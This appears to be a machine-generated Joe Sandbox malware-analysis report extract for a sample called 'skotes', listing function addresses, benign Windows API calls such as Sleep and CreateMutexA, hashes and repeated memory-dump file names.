Snapshot File: hcaresult_1_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 86a2dbd1c0dc68550d804ef629da25535dcc726a67be5a1866229489d4a7e77b
Instruction ID: 8217d0f217dd1d294d8e77be65a000f8e37287b0333181440ac109b6f98c2df2
Opcode Fuzzy Hash: 86a2dbd1c0dc68550d804ef629da25535dcc726a67be5a1866229489d4a7e77b
Instruction Fuzzy Hash: 372149317042049BEB18AB68ED89F7DF7A2EBD1714F20425DE419D73E1CB759E818611

Function 00ACA856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00ACA963
CreateMutexA.KERNELBASE(00000000,00000000,00B23254), ref: 00ACA981

Memory Dump Source

Source File: 00000001.00000002.1724017680.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000001.00000002.1724002601.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724017680.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724071809.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724088724.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724108920.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724124170.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724140511.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724253828.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724278346.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724303378.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724303378.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724337006.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724352685.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724367357.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724385048.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724401972.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724417017.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724437449.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724453437.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724470582.0000000000CEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724485673.0000000000CEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724502899.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724522536.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724542261.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724557646.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724570203.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724582604.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724596300.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724609519.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724625914.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724638543.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724655369.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724670325.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724683020.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724696048.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724710174.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724723949.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724742408.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724755205.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724768317.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724780728.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724780728.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724817804.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724831456.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724843697.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724856756.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724872262.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724886778.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724899881.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: d2446f1b838021b56ac8cb52d6cd4c489d50e1adbe7bc5eb64cac440d52bd18d
Instruction ID: 14f88430590b6395dd49284f4f6b9abe3c22c5c5c8734d7e642b1f8582af86a1
Opcode Fuzzy Hash: d2446f1b838021b56ac8cb52d6cd4c489d50e1adbe7bc5eb64cac440d52bd18d
Instruction Fuzzy Hash: 04216D313452088BE72867AC9986F3DB2A1DF91708F21485EE509D62D1CF7A49818653

Function 00ACA34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00ACA963
CreateMutexA.KERNELBASE(00000000,00000000,00B23254), ref: 00ACA981

Memory Dump Source

Source File: 00000001.00000002.1724017680.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000001.00000002.1724002601.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724017680.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724071809.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724088724.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724108920.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724124170.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724140511.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724253828.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724278346.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724303378.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724303378.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724337006.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724352685.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724367357.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724385048.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724401972.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724417017.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724437449.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724453437.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724470582.0000000000CEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724485673.0000000000CEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724502899.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724522536.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724542261.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724557646.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724570203.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724582604.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724596300.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724609519.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724625914.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724638543.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724655369.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724670325.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724683020.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724696048.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724710174.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724723949.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724742408.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724755205.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724768317.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724780728.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724780728.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724817804.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724831456.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724843697.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724856756.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724872262.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724886778.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724899881.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: d9db76121d79adef83118bf8f9141f6afa25e460b39f2afd94c290489d379d29
Instruction ID: 7b46bd71973afea8105aa3bc760bda5338cf4a5a68acd91e9f85845e6fd66ad8
Opcode Fuzzy Hash: d9db76121d79adef83118bf8f9141f6afa25e460b39f2afd94c290489d379d29
Instruction Fuzzy Hash: D1217C317002089BEB189B68DD85F7DF7B1EBE1718F20425DE815DB3D0C7759A818752

Function 00AFD82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00AFA813,00000001,00000364,00000006,000000FF,?,00AFEE3F,?,00000004,00000000,?,?), ref: 00AFD871

Memory Dump Source

Source File: 00000001.00000002.1724017680.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000001.00000002.1724002601.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724017680.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724071809.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724088724.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724108920.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724124170.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724140511.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724253828.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724278346.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724303378.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724303378.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724337006.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724352685.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724367357.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724385048.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724401972.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724417017.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724437449.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724453437.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724470582.0000000000CEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724485673.0000000000CEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724502899.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724522536.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724542261.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724557646.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724570203.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724582604.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724596300.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724609519.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724625914.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724638543.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724655369.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724670325.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724683020.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724696048.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724710174.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724723949.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724742408.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724755205.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724768317.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724780728.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724780728.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724817804.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724831456.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724843697.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724856756.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724872262.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724886778.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724899881.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 670c276aab3e43869c1ee17d379234625710b3a898e05af781c4fd879763f2a5
Instruction ID: 6e1bedadf677ff47b923090a9233ff6894ebc47a595bd7f8ef558c8fac4987a8
Opcode Fuzzy Hash: 670c276aab3e43869c1ee17d379234625710b3a898e05af781c4fd879763f2a5
Instruction Fuzzy Hash: 01F05E3260522DA6EB226BF69D01A7B7B5ADB857F1F198521BF08A7181DB20DC0186E0

Non-executed Functions

Function 00AFCBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00AFCC66

Memory Dump Source

Source File: 00000001.00000002.1724017680.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000001.00000002.1724002601.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724017680.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724071809.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724088724.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724108920.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724124170.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724140511.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724253828.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724278346.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724303378.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724303378.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724337006.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724352685.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724367357.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724385048.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724401972.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724417017.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724437449.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724453437.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724470582.0000000000CEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724485673.0000000000CEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724502899.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724522536.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724542261.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724557646.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724570203.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724582604.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724596300.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724609519.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724625914.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724638543.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724655369.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724670325.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724683020.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724696048.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724710174.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724723949.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724742408.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724755205.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724768317.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724780728.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724780728.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724817804.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724831456.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724843697.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724856756.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724872262.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724886778.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724899881.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: ff3b895da8359e455593cab76a85431316fff6c614e69054163c5cc9de6e39d3
Instruction ID: dd109dc12240b70ca7c1ee05780473a8cbffe9368e155d1aac5b8166fb406241
Opcode Fuzzy Hash: ff3b895da8359e455593cab76a85431316fff6c614e69054163c5cc9de6e39d3
Instruction Fuzzy Hash: EAB1153290464D9FDB15CFAAC9817BEBBF5EF45360F1441AAFA45EB241D6348E02CB60

Function 00AC2EC0 Relevance: 6.3, APIs: 4, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00AC2F5F
__Mtx_unlock.LIBCPMT ref: 00AC2FCC
__Mtx_unlock.LIBCPMT ref: 00AC30F5
__Mtx_unlock.LIBCPMT ref: 00AC319B

Memory Dump Source

Source File: 00000001.00000002.1724017680.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000001.00000002.1724002601.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724017680.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724071809.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724088724.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724108920.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724124170.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724140511.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724253828.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724278346.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724303378.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724303378.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724337006.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724352685.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724367357.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724385048.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724401972.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724417017.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724437449.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724453437.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724470582.0000000000CEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724485673.0000000000CEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724502899.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724522536.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724542261.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724557646.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724570203.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724582604.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724596300.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724609519.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724625914.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724638543.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724655369.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724670325.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724683020.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724696048.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724710174.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724723949.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724742408.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724755205.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724768317.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724780728.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724780728.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724817804.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724831456.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
